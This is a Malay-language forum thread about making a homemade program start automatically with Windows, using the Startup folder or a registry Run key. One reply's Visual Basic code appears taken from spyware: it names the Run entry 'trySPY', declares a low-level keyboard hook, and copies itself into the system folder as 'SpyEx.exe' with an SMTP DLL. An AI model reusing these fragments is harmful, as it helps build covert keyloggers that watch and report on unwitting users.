Sistem Library

[RockOi 0]

aku dah siapkan sistem yang aku buat..tapi aku tak tau camner kasi dia auto run kat windows bila pc tu di on kan..boleh bantu tak sesaper yang yg tau..

[MalaysianSecurityForce 0]

letakkan shortcut kat STARTUP folder. kalo foler tu takder, create ler satu.

[mohdfadly 24]

another method:

Edit Registry

---------------

Run --> regedit.exe

masuk ke HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

Create key baru pastu pointkan program. Cth:

C:\program files\program.exe

[RockOi 0]

mm ok terima kasih...

[RockOi 0]

mm puteranetwork..

nak tanya sket apa masalahnyer kalau kite dah create key baru pastu bila rename ada arahan -error renaming key..

"The Registry Editor cannot rename New Key #1. Specify a key name without a backslash (\)"

terima kasih..

[mohdfadly 24]

mm puteranetwork..

nak tanya sket apa masalahnyer kalau kite dah create key baru pastu bila rename ada arahan -error renaming key..

"The Registry Editor cannot rename New Key #1. Specify a key name without a backslash (\)"

terima kasih..

registry tak accept backslash (\) character.

[potong 0]

klu dr cd install program tu terus edit registry boleh ker?

[mohdfadly 24]

klu dr cd install program tu terus edit registry boleh ker?

camner tu? tak paham..

[aRmsTer 0]

aku rase dia nak yg mcm ni kot :-

Private Const REG_SZ As Long = 1

'Registry Variables to start program with windows

Dim subKey As String, key As Long, str As String, size As Long

Public Function startup(Optional uninstall As Boolean)

subKey = "software\microsoft\windows\currentversion\run"

If uninstall = True Then

str = ""

Else: str = App.Path & "\" & App.EXEName & ".exe"

End If

size = Len(str)

'Open key

RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, key

'Set Value of key

RegSetValueEx key, "trySPY", 0, REG_SZ, ByVal str, size

'Close key

RegCloseKey key

End Function

kalu coding yg aku taruk nih salah aku mintak tolong sape2 tolong aku betulkan..

[annex 0]

klu dr cd install program tu terus edit registry boleh ker?

aku rase maksud kau ialah nak create registry automatically biler install dr cd? kalu ini mmg boleh. either ko pakai existing installation wizard mcm PWD, installshield atau innosetup, atau kau buat installation prog sendiri. tapi aku rekomen pakai yg dah tersedia ade, tapi kau kene la pepandai edit installation wizard tu punya code.

kalau macam PWD kau bole copy je kod mcm kat atas tu pasal die pakai vb code jugak, kalau installshield kau kene la tau code ala c sket2.

[aRmsTer 0]

hehe.. lupe polak aku nak tanye sistem tuh buat pakai vb ke ape ke... coding yg aku taruk tuh utk vb(in case ade yg tatau)...

anyway... dh terjwb blom segala persoalan ko tuh RockOi

[RockOi 0]

mm dah terjawab rasenye...

aku cuma letak kat desktop je hihi..

ntah problem aper ntah..

registry tak accept backslash (\) character...

nanti aku try lagik.. mekacih..

aRmsTer code yang ko bagi tu nak letak kat mane?

[aRmsTer 0]

aRmsTer code yang ko bagi tu nak letak kat mane?

letak kat dalam ko nye vb program... cthnye bile ko klik button install... tulis la statement utk call function tuh dlm procedure cmdInstall_click() tu..

betul ke ape aku tulis ni... rase mcm ade yg aku termiss je.. nnt aku check balik..

[RockOi 0]

tu ler..rase2 macam ade yang kurang jek..

[aRmsTer 0]

hehe.. betulla.. ade yg silap..

ko kene taruk mende alah nih dlm module dulu..

Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long

Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.[/red]

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Const WH_KEYBOARD_LL = 13&

Private Const WM_KEYDOWN = &H100

'Registry Constants

Private Const READ_CONTROL As Long = &H20000

Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)

Private Const KEY_SET_VALUE As Long = &H2

Private Const KEY_CREATE_SUB_KEY As Long = &H4

Private Const SYNCHRONIZE As Long = &H100000

Private Const KEY_WRITE As Long = _

((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))

Private Const HKEY_LOCAL_MACHINE As Long = &H80000002

Private Const REG_SZ As Long = 1

Public Function startup(Optional uninstall As Boolean)

subKey = "software\microsoft\windows\currentversion\run"

If uninstall = True Then

str = ""

Else: str = App.Path & "\" & App.EXEName & ".exe"

End If

size = Len(str)

'Open key

RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, key

'Set Value of key

RegSetValueEx key, "ProgName", 0, REG_SZ, ByVal str, size

'Close key

RegCloseKey key

End Function

pastuh masukkan code ni utk call code kat atas tuh... pandai2 la ko edit ape yg patut...

Private Sub install_Click()

'Copy app and dll to system32 folder

fso.CopyFile App.Path & "\OSSMTP.dll", winDir & "OSSMTP.dll", True

fso.CopyFile App.Path & "\" & App.EXEName & ".exe", winDir & "SpyEx.exe", True

MsgBox "program is installed in " & winDir & vbNewLine & _

"You can now use command-line arguments from run or the command prompt without the path first."

End

End Sub

[RockOi 0]

adui..peningnye..

erm ok aku cuba code ko ni..

thank you aRmsTer..

[aRmsTer 0]

ermmm... yg atas2 tuh byk declaration je... tapi kalau nak penerangan lagi lanjut tanya puteranetwork sbb aku pon br start main2 registry until recently je.. so xbley nak ajar sgt... sbb aku pon xbrp tau

[RockOi 0]

wokeh...

[aRmsTer 0]

aaa... kalu nak reference lebih lanjut ko bace kat "registry dan vb"... tuh ada (sikit la) cara2 kalau nak bermain2 ngn registry

p/s: copy coding yg puteranetwork bg kat dlm topic tuh... bole pakai lame tuh hehe

[RockOi 0]

hehe..aku dah tgk dah..ko nyer posting ler tu kan..

best2..

[aRmsTer 0]

mcm yg aku ckp la... aku pon br start main2 ngn registry nih... so ilmu pon xtinggi... si puteranetwork tu plak ade exp. sbb die penah wat security sistem yg pd aku mesti ade main2 ngn registry punye ahh

ape aku tulis ni

[RockOi 0]

mmm samelah kiter..tapi aku lg kureng..

marilah kiter belajar bersama2..

aku pun tak tau ape yg aku tulih ni..